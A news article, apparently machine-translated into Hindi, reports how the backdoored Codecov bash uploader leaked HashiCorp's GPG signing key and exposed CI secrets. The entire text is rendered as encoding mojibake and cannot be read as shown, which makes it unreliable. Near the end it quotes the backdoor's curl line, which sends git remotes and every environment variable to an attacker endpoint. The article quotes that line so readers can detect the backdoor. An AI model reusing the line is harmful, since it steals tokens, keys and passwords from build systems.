рдХреЛрдбрдХреЛрд╡ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреА рд╢реБрд░реВрдЖрдд рдХреЗ рдХрд╛рд░рдг HashiCorp PGP рдХреБрдВрдЬреА рд╕реЗ рд╕рдордЭреМрддрд╛ рд╣реЛ рдЧрдпрд╛

рдУрдкрди рд╕реЛрд░реНрд╕ рдЯреВрд▓ рд╡реИрдЧреНрд░рд╛рдВрдЯ, рдкреИрдХрд░, рдиреЛрдореИрдб рдФрд░ рдЯреЗрд░рд╛рдлреЙрд░реНрдо рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рдиреЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╣рд╛рд╢реАрдХреЙрд░реНрдк рдиреЗ рд░рд┐рд▓реАрдЬ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдбрд┐рдЬрд┐рдЯрд▓ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдирд┐рдЬреА рдЬреАрдкреАрдЬреА рдХреБрдВрдЬреА рдХреЗ рд▓реАрдХ рдХреА рдШреЛрд╖рдгрд╛ рдХреАред рдЬрд┐рди рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдиреЗ GPG рдХреБрдВрдЬреА рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реА рд╣реИ, рд╡реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ HashiCorp рдЙрддреНрдкрд╛рджреЛрдВ рдХреЛ рд╕рд╣реА рдбрд┐рдЬрд┐рдЯрд▓ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХреЗ рд╕рд╛рде рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдХреЗ рдЙрдирдореЗрдВ рдЫрд┐рдкреЗ рд╣реБрдП рдкрд░рд┐рд╡рд░реНрддрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рд╛рде рд╣реА, рдХрдВрдкрдиреА рдиреЗ рдХрд╣рд╛ рдХрд┐ рдСрдбрд┐рдЯ рдХреЗ рджреМрд░рд╛рди рдРрд╕реЗ рд╕рдВрд╢реЛрдзрди рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХрд╛ рдХреЛрдИ рдирд┐рд╢рд╛рди рдирд╣реАрдВ рдкрд╛рдпрд╛ рдЧрдпрд╛ред

рд╡рд░реНрддрдорд╛рди рдореЗрдВ, рд╕рдордЭреМрддрд╛ рдХреА рдЧрдИ GPG рдХреБрдВрдЬреА рдХреЛ рдирд┐рд░рд╕реНрдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдЙрд╕рдХреЗ рд╕реНрдерд╛рди рдкрд░ рдПрдХ рдирдИ рдХреБрдВрдЬреА рдкреЗрд╢ рдХреА рдЧрдИ рд╣реИред рд╕рдорд╕реНрдпрд╛ рдиреЗ рдХреЗрд╡рд▓ SHA256SUM рдФрд░ SHA256SUM.sig рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рддреНрдпрд╛рдкрди рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд┐рдпрд╛, рдФрд░releases.hashicorp.com рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрдкреВрд░реНрддрд┐ рдХрд┐рдП рдЧрдП рд▓рд┐рдирдХреНрд╕ DEB рдФрд░ RPM рдкреИрдХреЗрдЬреЛрдВ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд┐рдЯрд▓ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХреА рдкреАрдврд╝реА рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛, рд╕рд╛рде рд╣реА macOS рдФрд░ Windows (AuthentiCode) рдХреЗ рд▓рд┐рдП рд╕рддреНрдпрд╛рдкрди рддрдВрддреНрд░ рдЬрд╛рд░реА рдХрд┐рдпрд╛ред .

рдпрд╣ рд░рд┐рд╕рд╛рд╡ рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪреЗ рдореЗрдВ рдХреЛрдбрдХреЛрд╡ рдмреИрд╢ рдЕрдкрд▓реЛрдбрд░ (рдХреЛрдбрдХреЛрд╡-рдмреИрд╢) рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдХрд╛рд░рдг рд╣реБрдЖ, рдЬрд┐рд╕реЗ рдирд┐рд░рдВрддрд░ рдПрдХреАрдХрд░рдг рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рд╕реЗ рдХрд╡рд░реЗрдЬ рд░рд┐рдкреЛрд░реНрдЯ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдХреЛрдбрдХреЛрд╡ рдХрдВрдкрдиреА рдкрд░ рд╣рдорд▓реЗ рдХреЗ рджреМрд░рд╛рди рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдПрдХ рдкрд┐рдЫрд▓рд╛ рджрд░рд╡рд╛рдЬрд╛ рдЫрд┐рдкрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬрд┐рд╕рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬреА рдЬрд╛рддреА рдереАрдВред

рд╣реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдиреЗ рдХреЛрдбрдХреЛрд╡ рдбреЙрдХрд░ рдЫрд╡рд┐ рдмрдирд╛рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдХ рддреНрд░реБрдЯрд┐ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдпрд╛, рдЬрд┐рд╕рд╕реЗ рдХреЛрдбрдХреЛрд╡ рд╕реЗ рд╡рд┐рддрд░рд┐рдд рдмреИрд╢ рдЕрдкрд▓реЛрдбрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдмрджрд▓рд╛рд╡ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЬреАрд╕реАрдПрд╕ (Google рдХреНрд▓рд╛рдЙрдб рд╕реНрдЯреЛрд░реЗрдЬ) рддрдХ рдкрд╣реБрдВрдЪ рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЧрдпрд╛ред рдЖрдИрдУ рд╡реЗрдмрд╕рд╛рдЗрдЯ. рдкрд░рд┐рд╡рд░реНрддрди 31 рдЬрдирд╡рд░реА рдХреЛ рдХрд┐рдП рдЧрдП рдереЗ, рджреЛ рдорд╣реАрдиреЗ рддрдХ рдкрддрд╛ рдирд╣реАрдВ рдЪрд▓реЗ рдФрд░ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдЧреНрд░рд╛рд╣рдХ рдирд┐рд░рдВрддрд░ рдПрдХреАрдХрд░рдг рдкреНрд░рдгрд╛рд▓реА рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА рдЧрдИред рдЬреЛрдбрд╝реЗ рдЧрдП рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╣рдорд▓рд╛рд╡рд░ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдП рдЧрдП Git рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдФрд░ рдЯреЛрдХрди, рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рд╕рд╣рд┐рдд рд╕рднреА рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛрдб, рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдФрд░ рдЕрдореЗрдЬрд╝реЕрди рд╡реЗрдм рд╕рд░реНрд╡рд┐рд╕реЗрдЬ рдФрд░ GitHub рдЬреИрд╕реА рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░рдВрддрд░ рдПрдХреАрдХрд░рдг рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдкреНрд░реЗрд╖рд┐рдд рд╣реЛрддреЗ рд╣реИрдВред .

рдбрд╛рдпрд░реЗрдХреНрдЯ рдХреЙрд▓ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреЛрдбрдХреЛрд╡ рдмреИрд╢ рдЕрдкрд▓реЛрдбрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреНрдп рдЕрдкрд▓реЛрдбрд░реНрд╕ рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬреИрд╕реЗ рдХрд┐ рдХреЛрдбрдХреЛрд╡-рдПрдХреНрд╢рди (рдЬреАрдердм), рдХреЛрдбрдХреЛрд╡-рд╕рд░реНрдХрд▓рд╕реА-рдСрд░реНрдм рдФрд░ рдХреЛрдбрдХреЛрд╡-рдмрд┐рдЯрд░рд╛рдЗрдЬ-рд╕реНрдЯреЗрдк, рдЬрд┐рдирдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рднреА рд╕рдорд╕реНрдпрд╛ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реИрдВред рдХреЛрдбрдХреЛрд╡-рдмреИрд╢ рдФрд░ рд╕рдВрдмрдВрдзрд┐рдд рдЙрддреНрдкрд╛рджреЛрдВ рдХреЗ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЕрдкрдиреЗ рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪреЗ рдХрд╛ рдСрдбрд┐рдЯ рдХрд░рдиреЗ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдмрджрд▓рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИред рдЖрдк рдХрд┐рд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреА рдЬрд╛рдВрдЪ рд▓рд╛рдЗрди cur -sm 0.5 -d "$(git рд░рд┐рдореЛрдЯ -v)<<<<<< ENV $(env)" http:// рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред /рдЕрдкрд▓реЛрдб/v2|| рд╕рддреНрдп

рд╕реНрд░реЛрдд: opennet.ru

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╝реЗрдВ